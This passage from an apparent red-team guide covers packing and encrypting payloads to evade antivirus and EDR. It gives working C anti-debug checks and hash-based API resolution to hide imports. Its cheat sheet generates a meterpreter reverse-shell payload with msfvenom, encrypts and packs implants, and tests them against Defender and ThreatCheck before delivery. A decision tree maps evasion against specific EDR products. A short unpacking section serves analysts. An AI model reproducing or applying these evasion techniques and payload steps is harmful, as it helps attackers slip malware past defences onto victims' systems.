// ── Check 3: Timing attack (debuggers slow execution) ────────
BOOL check_execution_timing() {
LARGE_INTEGER freq, start, end;
QueryPerformanceFrequency(&freq);
QueryPerformanceCounter(&start);
// Short loop that should run in nanoseconds
volatile int x = 0;
for (int i = 0; i < 1000; i++) x += i;
QueryPerformanceCounter(&end);
double elapsed_us = (double)(end.QuadPart - start.QuadPart)
/ freq.QuadPart * 1e6;
// If loop took >100 microseconds → debugger stepping
return (elapsed_us > 100.0);
}
// ── Check 4: Parent process (debugger as parent) ──────────────
BOOL check_parent_process() {
DWORD ppid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32 = { sizeof(pe32) };
DWORD my_pid = GetCurrentProcessId();
// Get my parent PID
if (Process32First(snapshot, &pe32)) {
do {
if (pe32.th32ProcessID == my_pid) {
ppid = pe32.th32ParentProcessID;
break;
}
} while (Process32Next(snapshot, &pe32));
}
CloseHandle(snapshot);
// Check if parent is a known debugger
char parent_name[MAX_PATH] = {0};
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ, FALSE, ppid);
if (hProc) {
GetModuleFileNameExA(hProc, NULL, parent_name, MAX_PATH);
CloseHandle(hProc);
}
const char* debuggers[] = {
"x64dbg.exe", "x32dbg.exe", "ollydbg.exe",
"windbg.exe", "ida.exe", "ida64.exe",
"ghidra.exe", "radare2.exe", NULL
};
for (int i = 0; debuggers[i]; i++) {
if (strstr(parent_name, debuggers[i])) return TRUE;
}
return FALSE;
}
15.3 Dynamic API Resolution (Hide Imports)
// dynamic_api.c
// Resolve WinAPI functions at runtime via hash — no imports visible in IAT
#include <windows.h>
// ── DJB2 hash function ────────────────────────────────────────
DWORD hash_djb2(const char* str) {
DWORD hash = 5381;
int c;
while ((c = *str++))
hash = ((hash << 5) + hash) + c;
return hash;
}
// ── Find export by hash ───────────────────────────────────────
FARPROC get_proc_by_hash(HMODULE hModule, DWORD target_hash) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)hModule;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)
((BYTE*)hModule + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)
((BYTE*)hModule + nt->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)((BYTE*)hModule + exp->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)hModule + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)hModule + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)((BYTE*)hModule + names[i]);
if (hash_djb2(name) == target_hash) {
return (FARPROC)((BYTE*)hModule + funcs[ordinals[i]]);
}
}
return NULL;
}
// ── Pre-computed hashes (computed offline, never as strings in binary) ─
// python3 -c "h=5381; [print(h:=((h<<5)+h+ord(c))&0xFFFFFFFF) for c in 'VirtualAlloc']"
#define HASH_VirtualAlloc 0x382c0c97 // Pre-compute offline
#define HASH_VirtualProtect 0x844ff18d
#define HASH_LoadLibraryA 0xec0e4e8e
#define HASH_GetProcAddress 0x1fc75468
// ── Usage ─────────────────────────────────────────────────────
typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID,SIZE_T,DWORD,DWORD);
void demo_dynamic_resolve() {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
pVirtualAlloc fpVirtualAlloc = (pVirtualAlloc)
get_proc_by_hash(hKernel32, HASH_VirtualAlloc);
// Now call VirtualAlloc without it appearing in IAT
LPVOID mem = fpVirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
// ...
}
16. Unpacking — Analyst Perspective
What it means: When you receive a packed binary during malware analysis (or are reversing a packed red team tool), you need to unpack it first to get to the real payload. This section covers how defenders/analysts approach this — useful for understanding what your packer needs to defeat.
16.1 Identifying Packers
# ── DIE (Detect It Easy) — detect 500+ packers ────────────────
die.exe suspicious.exe # Windows
diec suspicious.exe # CLI version
# ── PEiD ─────────────────────────────────────────────────────
# Older but still useful for common packers
# Download: https://github.com/wolfram77web/app-peid
# ── exiftool (metadata check) ─────────────────────────────────
exiftool suspicious.exe | grep -i packer
# ── strings (find packer artifacts) ──────────────────────────
strings suspicious.exe | grep -i "upx"
strings suspicious.exe | grep -i "mpress"
strings suspicious.exe | grep -iE "(themida|vmprotect|asprotect)"
# ── Python pefile — section check ─────────────────────────────
python3 -c "
import pefile, sys
pe = pefile.PE(sys.argv[1])
for s in pe.sections:
print(s.Name.decode(errors='replace').strip('\x00'),
s.SizeOfRawData, s.Misc_VirtualSize,
f'{s.get_entropy():.2f}')
" suspicious.exe
16.2 Unpacking UPX
# ── Standard UPX unpack ───────────────────────────────────────
upx -d packed.exe # Works if UPX headers are intact
# ── If UPX headers are corrupted (magic bytes patched) ────────
# Manual approach: find OEP via dynamic analysis
# Option 1: Fix magic bytes manually
python3 << 'EOF'
with open("packed.exe", "rb") as f:
data = bytearray(f.read())
# Search for section names UPX0/UPX1 — even with corrupted magic
# the section names may still be present
# Patch: write UPX! magic back to expected offsets
# (offset varies — use a hex editor to find it)
EOF
# Option 2: Dynamic unpack with x64dbg
# 1. Open packed.exe in x64dbg
# 2. Set a breakpoint on VirtualAlloc
# 3. Run — VirtualAlloc will allocate the unpacked PE buffer
# 4. Single-step until JMP to OEP (typically a PUSHAD/POPAD pair)
# 5. At OEP: dump process with Scylla plugin → rebuild imports
16.3 Generic Unpacking (OEP Hunting)
# Generic unpacker workflow in x64dbg:
# 1. Load packed binary
# 2. Set BP on VirtualAlloc (most stubs allocate memory)
# 3. F9 (run) → BP hits at VirtualAlloc call
# 4. Note return address (where allocated buffer is filled)
# 5. Set HW exec breakpoint on buffer returned by VirtualAlloc
# 6. F9 → execution reaches unpacked code (OEP area)
# 7. Dump process: Scylla plugin → Dump → Fix IAT → Dump PE
# ── Useful x64dbg commands ────────────────────────────────────
bp VirtualAlloc # Break on VirtualAlloc
bp VirtualProtect # Break on VirtualProtect
bphws 0xNNNNNNNN, "x" # Hardware exec BP
!dumpDLL outputfile.exe # Dump DLL from memory
# Scylla: Plugins → Scylla → IAT Autosearch → Get Imports → Dump
# ── Automated tools ───────────────────────────────────────────
# Unpac.me — online sandboxed unpacker: https://www.unpac.me
# Unipacker — Python-based emulation unpacker
pip install unipacker
unipacker packed.exe
17. Tools Reference
Packers / Crypters
| Tool | Type | Platform | Notes |
|---|---|---|---|
| UPX | LZMA packer | Win/Lin/Mac | Free, signatured — always modify |
| Hyperion | AES crypter | Windows | Brute-force key recovery stub |
| MPRESS | Packer | Windows | Less known than UPX |
| Donut | PE→shellcode | Windows | TheWover, .NET/EXE/DLL/PS1 |
| ProtectMyTooling | Multi-chain | Windows | Daisy-chains packers |
| Inceptor | Template packer | Windows | PE packer + AMSI/EDR bypass |
| PolyEngine | Poly packer | Windows | CTF/low-level education |
| pe-packer-x64 | Simple packer | Windows | Template for custom builds |
| ScareCrow | EDR-bypass packer | Windows | Signed loader generation |
| TinyLoad | VM + LZ77 packer | Windows | Custom VM per build |
Analysis / Detection
| Tool | Purpose | Link |
|---|---|---|
| DIE | Detect 500+ packers | https://github.com/horsicq/Detect-It-Easy |
| ThreatCheck | Find AV-triggering bytes | https://github.com/rasta-mouse/ThreatCheck |
| DefenderCheck | Defender-specific trigger finder | https://github.com/matterpreter/DefenderCheck |
| pefile | Python PE parser | pip install pefile |
| x64dbg | Dynamic analysis/unpacking | https://x64dbg.com |
| Scylla | IAT dumper (x64dbg plugin) | Built into x64dbg |
| Unipacker | Automated emulation-based unpacker | https://github.com/unipacker/unipacker |
| unpac.me | Online automated unpacker | https://www.unpac.me |
| CFF Explorer | PE structure editor | NTCore |
Build & Support
# pefile — parse/modify PE files
pip install pefile
# pycryptodome — AES/RC4/ChaCha20
pip install pycryptodome
# zlib — Python stdlib (no install needed)
import zlib
# lzma — Python stdlib
import lzma
# UPX
sudo apt install upx-ucl
# or: https://github.com/upx/upx/releases
# MinGW cross-compiler (build Windows PE on Linux)
sudo apt install gcc-mingw-w64-x86-64
# Donut
git clone https://github.com/TheWover/donut && cd donut && make
# ProtectMyTooling
git clone https://github.com/mgeeky/ProtectMyTooling
pip install -r ProtectMyTooling/requirements.txt
18. Comparison Matrix
| Technique | AV Bypass | EDR Bypass | Complexity | File Size | Detection Risk | Reversibility |
|---|---|---|---|---|---|---|
| UPX (stock) | Very Low | Very Low | Trivial | Smaller | Very High (signatured) | Trivial (upx -d) |
| UPX + modified headers | Low | Low | Low | Smaller | High | Medium |
| Custom ZLIB packer | Medium | Low-Med | Medium | Smaller | Medium (entropy) | Hard |
| Custom AES crypter | High | Medium | Medium | Larger | Low-Med | Hard |
| Hyperion | Medium | Medium | Low | Same | Medium (signatured) | Medium |
| Polymorphic packer | High | Medium | High | Variable | Low | Hard |
| Metamorphic engine | Very High | High | Very High | Variable | Very Low | Very Hard |
| VM-based (VMProtect) | Very High | High | Commercial | Larger | Low | Extremely Hard |
| Donut (plain) | Medium | Medium | Low | Variable | Medium | Medium |
| Donut + AES crypter | High | High | Medium | Variable | Low | Hard |
| Multi-chain (PMT) | Very High | High | Low (tool) | Variable | Low | Hard |
| Env-keyed crypter | Very High | Very High | Medium | Same | Very Low | Impossible* |
*Without the correct target environment fingerprint
19. Cheat Sheet
Quick Workflow — Pack → Test → Deliver
# Step 1: Generate payload (raw shellcode or PE implant)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 -f raw -o shellcode.bin
# OR use your C2's payload generator (Havoc, Sliver, Cobalt Strike)
# Step 2: Check baseline entropy
python3 entropy_check.py shellcode.bin
# Step 3a: Quick pack with UPX (dev only — NOT production)
upx --best shellcode.exe -o packed.exe
# Step 3b: Donut convert (if .NET / PS1 payload)
./donut -i SharpHound.exe -o sc.bin -b 1
# Step 4: Custom crypter — AES-256 encrypt
python3 crypter_builder.py # Outputs stub_output.c
x86_64-w64-mingw32-gcc stub_output.c -o implant_crypted.exe -lbcrypt
# Step 5: Chain with ProtectMyTooling (optional additional layer)
py ProtectMyTooling.py callobf,upx implant_crypted.exe final.exe
# Step 6: Check entropy of final output
python3 entropy_check.py final.exe
# Step 7: Test against Defender (offline)
"C:\Program Files\Windows Defender\MpCmdRun.exe" \
-Scan -ScanType 3 -File final.exe
# Step 8: ThreatCheck — find remaining signature bytes
ThreatCheck.exe -f final.exe
# Step 9: Submit to antiscan.me (NOT VirusTotal — avoid sample sharing)
# https://antiscan.me
Packer Selection Decision Tree
Need to pack a payload?
│
├─ CTF / learning?
│ └─ UPX --best → custom stub modification → done
│
├─ Red team engagement — AV only (Defender)?
│ ├─ Custom AES crypter + ZLIB compression
│ └─ ProtectMyTooling: callobf,upx
│
├─ Red team — EDR present (CrowdStrike / SentinelOne)?
│ ├─ Custom AES crypter
│ + environment-keyed (derive from MachineGUID)
│ + anti-sandbox checks in stub
│ + anti-debug checks
│ + dynamic API resolution (no visible IAT)
│ └─ Test with ThreatCheck before deploying
│
├─ APT simulation / advanced engagement?
│ ├─ Donut → polymorphic stub generator
│ ├─ Metamorphic code mutation
│ └─ VM-based protection (VMProtect / custom VM)
│
├─ Shellcode packing (not a full PE)?
│ ├─ XOR + AES + Base64 (see Encryption notes)
│ └─ Donut for .NET → shellcode → pack as above
│
└─ Maximum stealth (no key on disk)?
└─ Environment-keyed AES
+ staged delivery (key from C2)
+ HTTPS transport
+ sandbox evasion in stub
Key Commands
# Entropy check (one-liner)
python3 -c "
import math, sys
from collections import Counter
d=open(sys.argv[1],'rb').read()
c=Counter(d); n=len(d)
e=-sum((v/n)*math.log2(v/n) for v in c.values())
print(f'Entropy: {e:.4f} / 8.0')
" file.exe
# UPX pack + section rename
upx --best implant.exe -o packed.exe
python3 -c "
import pefile
pe=pefile.PE('packed.exe')
for s in pe.sections:
if b'UPX' in s.Name:
s.Name = b'.text\x00\x00\x00' if s.Name==b'UPX0\x00\x00\x00\x00' else b'.data\x00\x00\x00'
pe.write('packed_renamed.exe')
"
# AES encrypt shellcode (one-liner)
python3 -c "
from Crypto.Cipher import AES; from Crypto.Util.Padding import pad; import os
k=os.urandom(32); iv=os.urandom(16); d=open('shellcode.bin','rb').read()
open('shellcode.enc','wb').write(iv+AES.new(k,AES.MODE_CBC,iv).encrypt(pad(d,16)))
print('Key:',k.hex()); print('IV:',iv.hex())
"
# Donut convert .NET EXE
./donut -i SharpHound.exe -o sc.bin -b 1 -e 3
# ProtectMyTooling chain
py ProtectMyTooling.py callobf,hyperion,upx implant.exe output.exe -i
# Check PE sections + entropy
python3 -c "
import pefile, sys
pe=pefile.PE(sys.argv[1])
[print(s.Name.decode(errors='r').strip('\x00'), f'{s.get_entropy():.2f}') for s in pe.sections]
" packed.exe
# ThreatCheck
ThreatCheck.exe -f implant.exe
# Cross-compile C stub for Windows (Linux host)
x86_64-w64-mingw32-gcc stub.c -o implant.exe -lbcrypt -lz -mwindows -O2 -s
Packer Anatomy Quick Reference
Every packer has two parts:
BUILDER (runs on attacker machine):
1. Read original PE/shellcode
2. Compress (ZLIB/LZMA) → reduce size + break patterns
3. Encrypt (AES-256/XOR) → hide compressed bytes
4. Write key + IV + blob into stub PE
5. Output: packed.exe (what goes to target)
STUB (runs on target machine at execution):
1. Find embedded blob (hardcoded offset / .rsrc / section)
2. Decrypt (BCrypt AES or custom XOR)
3. Decompress (ZLIB uncompress or LZMA)
4. [Optional] Anti-sandbox + anti-debug checks
5. Allocate RW memory (VirtualAlloc)
6. Copy PE into memory
7. Fix imports (manual IAT patch)
8. Fix relocations
9. VirtualProtect → PAGE_EXECUTE_READ
10. Jump to OEP
Entropy Reference
Normal PE sections:
.text (code): 5.0 – 6.5 ← Compiled code, not random
.rdata (data): 3.5 – 5.5 ← Strings, some structure
.data (vars): 2.0 – 4.0 ← Often zeros, low entropy
.rsrc (resources): 4.0 – 6.0 ← Images/icons add entropy
Packed/encrypted sections:
XOR-encoded: 7.0 – 7.5 ← High, but not uniform
ZLIB-compressed: 7.5 – 7.9 ← Very high, near random
AES-encrypted: 7.9 – 8.0 ← Max, indistinguishable from random
Detection thresholds (common):
>7.0 → Suspicious (heuristic flag)
>7.5 → Very likely packed/encrypted
~8.0 → AES or equivalent → certain packing
References & Further Reading
Tools: - Donut — https://github.com/TheWover/donut - ProtectMyTooling — https://github.com/mgeeky/ProtectMyTooling - Inceptor — https://github.com/klezVirus/inceptor - PolyEngine — https://github.com/LongWayHomie/PolyEngine - TinyLoad — https://dev.to/iamsopotatoecoder (custom VM packer) - UPX — https://github.com/upx/upx - DIE — https://github.com/horsicq/Detect-It-Easy - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck - MorphKatz — https://github.com/gmh5225/morphkatz (x64 code mutator) - Unpacker — https://github.com/anpa1200/Unpacker
MITRE ATT&CK: - T1027 — Obfuscated Files or Information - T1027.002 — Software Packing - T1620 — Reflective Code Loading
Further Reading: - Fox-IT Blog — Malware Virtualisation in Red Teaming (2024): https://blog.fox-it.com/2024/09/25/red-teaming-in-the-age-of-edr-evasion-of-endpoint-detection-through-malware-virtualisation/ - Malwarebytes — Explained: Packer, Crypter, and Protector: https://www.threatdown.com/blog/explained-packer-crypter-and-protector - Sektor7 — Malware Development courses (maldev.sektor7.net) - Red Team Notes — https://www.ired.team - packer-tutorial — https://github.com/W4ZM/packer-tutorial (full C packer tutorial)